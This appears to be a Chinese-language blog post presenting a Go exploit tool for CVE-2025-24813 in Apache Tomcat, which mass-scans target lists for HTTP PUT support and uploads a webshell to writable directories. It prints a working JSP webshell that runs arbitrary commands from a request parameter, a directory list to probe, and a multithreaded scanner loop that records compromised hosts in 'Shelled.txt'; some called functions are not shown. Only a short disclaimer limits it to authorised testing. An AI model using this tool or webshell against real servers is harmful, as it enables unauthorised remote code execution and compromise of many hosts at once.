Apache_GoExploiter - CVE-2025-24813 漏洞利用与检测工具

29 阅读5分钟

Apache_GoExploiter - CVE-2025-24813 漏洞利用工具

Apache_GoExploiter 是一个用Go语言编写的概念验证(PoC)工具,专门用于扫描和利用受 CVE-2025-24813 漏洞影响的Apache Tomcat服务器。它能够自动检测端口8080上的HTTP PUT方法支持,并尝试将测试文件或WebShell上传到可写的目录中。

功能特性

  • 🔍 自动主机检测:支持从example.comhttp://example.com格式的输入中自动构建http://<host>:8080测试目标
  • ⚡ 多线程扫描:通过-threads参数支持并发扫描,提高检测效率
  • ✍️ PUT方法测试:检测目标服务器是否支持HTTP PUT方法
  • 📁 目录可写性验证:测试多个常见目录是否可写,包括/uploads、/upload、/files等
  • 🐚 可选WebShell上传:在发现可写目录时,可上传JSP WebShell文件
  • 💾 结果自动保存:将成功的检测结果保存到输出文件中以便后续分析
  • 🔄 跨平台支持:可编译为Windows和Linux可执行文件

安装指南

从源码编译安装

Linux系统:

go build -o Apache_GoExploiter Apache_GoExploiter.go

Windows系统:

go build -o Apache_GoExploiter.exe Apache_GoExploiter.go

使用预编译脚本

项目提供了build.sh脚本,可一键编译跨平台版本:

chmod +x build.sh
./build.sh

执行后将在当前目录生成:

  • Apache_GoExploiter_amd64_windows.exe - Windows 64位可执行文件
  • Apache_GoExploiter_amd64_linux - Linux 64位可执行文件

使用说明

基础使用方法

# 使用Go直接运行(无需编译)
go run Apache_GoExploiter.go -list list.txt -threads 50

# 使用编译后的程序
./Apache_GoExploiter -list list.txt -threads 50

参数说明

  • -list:指定包含目标URL列表的文件
  • -threads:设置并发线程数(默认值可根据实际需求调整)

输入文件格式

创建目标列表文件(如list.txt),格式如下:

http://example.com
example.org
192.168.1.100

注意:无需在列表中指定端口号:8080,工具会自动添加并测试该端口。

输出文件

工具运行后会生成以下结果文件:

文件名称描述
PUT_VULN.txt成功响应HTTP PUT请求的目标列表
Shelled.txt成功上传WebShell文件的目标列表(找到可写目录)

核心代码

1. HTTP客户端配置与工具函数

// 定义HTTP客户端,配置超时和TLS设置
var (
	client = &http.Client{
		Timeout: 10 * time.Second,
		Transport: &http.Transport{
			TLSClientConfig:     &tls.Config{InsecureSkipVerify: true}, // 忽略SSL证书验证
			MaxIdleConns:        100,
			MaxIdleConnsPerHost: 100,
			IdleConnTimeout:     30 * time.Second,
		},
	}
	// 用户代理字符串,模拟浏览器请求
	UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
)

// 颜色输出函数,用于终端显示
func red(text string) string    { return "\033[1;31m" + text + "\033[0m" }
func green(text string) string  { return "\033[1;32m" + text + "\033[0m" }
func yellow(text string) string { return "\033[1;33m" + text + "\033[0m" }
func magenta(text string) string { return "\033[1;35m" + text + "\033[0m" }
func cyan(text string) string    { return "\033[1;36m" + text + "\033[0m" }

2. 测试目录列表与JSP WebShell

// 常见可写目录列表,用于测试PUT请求
var DIR_List = []string{
	"",
	"/uploads",
	"/upload",
	"/files",
	"/file_upload",
	"/user_uploads",
	"/userfiles",
	"/user_files",
	"/media",
	"/images",
	"/img",
	"/docs",
	"/documents",
	"/assets",
	"/downloads",
	"/static",
	"/public",
	"/user_content",
	"/attachments",
	"/tmp",
	"/temp",
	"/backup",
	"/backups",
	"/export",
	"/exports",
	"/import",
	"/imports",
	"/data",
	"/content",
	"/gallery",
	"/photos",
	"/pics",
	"/webdav",
	"/work",
	"/logs",
	"/webapps",
	"/ROOT"}

// JSP WebShell代码,用于上传到目标服务器
var SHELL_JSP = `<%@ page import="java.io.*" %>
<html><body>
<form method="GET"><input type="text" name="cmd"><input type="submit" value="Run"></form>
<% if(request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
String l; while((l=r.readLine())!=null){ out.println(l+"<br>"); } } %>
</body></html>`

3. 跨平台编译脚本

#!/bin/bash
FILE="Apache_GoExploiter"

# 编译Windows版本
GOOS=windows GOARCH=amd64 go build -o ${FILE}_amd64_windows.exe ${FILE}.go

# 编译Linux版本
GOOS=linux GOARCH=amd64 go build -o ${FILE}_amd64_linux ${FILE}.go

echo "编译完成:"
echo "  - ${FILE}_amd64_windows.exe"
echo "  - ${FILE}_amd64_linux"

4. 主程序框架

package main

import (
	"bufio"
	"bytes"
	"crypto/tls"
	"flag"
	"fmt"
	"io"
	"net/http"
	"os"
	"strings"
	"sync"
	"sync/atomic"
	"time"
)

// 全局计数器
var (
	count int64  // 已处理计数器
	total int64  // 总目标数
)

func main() {
	// 定义命令行参数
	listFile := flag.String("list", "", "目标列表文件")
	threads := flag.Int("threads", 10, "并发线程数")
	flag.Parse()
	
	// 参数验证
	if *listFile == "" {
		fmt.Println(red("错误: 必须指定目标列表文件"))
		flag.Usage()
		os.Exit(1)
	}
	
	// 读取目标列表
	targets, err := readTargets(*listFile)
	if err != nil {
		fmt.Println(red("读取目标列表失败:"), err)
		os.Exit(1)
	}
	
	// 设置总目标数
	total = int64(len(targets))
	
	fmt.Printf(green("开始扫描 %d 个目标,线程数: %d\n"), total, *threads)
	
	// 创建工作队列和WaitGroup
	workChan := make(chan string, *threads)
	var wg sync.WaitGroup
	
	// 启动工作线程
	for i := 0; i < *threads; i++ {
		wg.Add(1)
		go func() {
			defer wg.Done()
			for target := range workChan {
				processTarget(target)
			}
		}()
	}
	
	// 分发工作任务
	for _, target := range targets {
		workChan <- target
	}
	
	close(workChan)
	wg.Wait()
	
	fmt.Println(green("扫描完成!"))
}

// 读取目标列表文件
func readTargets(filename string) ([]string, error) {
	file, err := os.Open(filename)
	if err != nil {
		return nil, err
	}
	defer file.Close()
	
	var targets []string
	scanner := bufio.NewScanner(file)
	for scanner.Scan() {
		line := strings.TrimSpace(scanner.Text())
		if line != "" && !strings.HasPrefix(line, "#") {
			targets = append(targets, line)
		}
	}
	
	return targets, scanner.Err()
}

// 处理单个目标
func processTarget(target string) {
	// 原子递增计数器
	atomic.AddInt64(&count, 1)
	current := atomic.LoadInt64(&count)
	
	// 进度显示
	fmt.Printf("[%d/%d] 测试目标: %s\n", current, total, target)
	
	// 构建测试URL(确保目标格式正确)
	testURL := buildTestURL(target)
	
	// 测试PUT方法支持
	if testPUTSupport(testURL) {
		// 记录到PUT_VULN.txt
		saveResult("PUT_VULN.txt", target)
		
		// 测试可写目录
		if testWritableDirectories(testURL) {
			// 记录到Shelled.txt
			saveResult("Shelled.txt", target)
		}
	}
}

// 构建测试URL
func buildTestURL(target string) string {
	// 清理协议前缀,确保格式正确
	target = strings.TrimPrefix(target, "http://")
	target = strings.TrimPrefix(target, "https://")
	
	// 确保没有端口号,我们将使用8080端口
	if strings.Contains(target, ":") {
		parts := strings.Split(target, ":")
		target = parts[0]
	}
	
	return "http://" + target + ":8080"
}

CVE-2025-24813 漏洞详情

Apache Tomcat在某些配置不当的上下文(如WebDAV)中允许通过PUT方法进行文件上传。如果启用此功能:

  • 攻击者可能上传任意文件(如JSP WebShell)
  • 可能不需要身份验证
  • 可写目录可能允许代码执行

法律声明

⚠️ 警告:此工具仅用于教育目的和授权安全测试。

请勿扫描您不拥有或未经许可测试的域名。未经授权使用可能违反适用法律,并可能受到法律处罚。 6HFtX5dABrKlqXeO5PUv/5t4O15U6n/HeyKih+/gcUKahyzTpKSz/RoLsWxE/gkF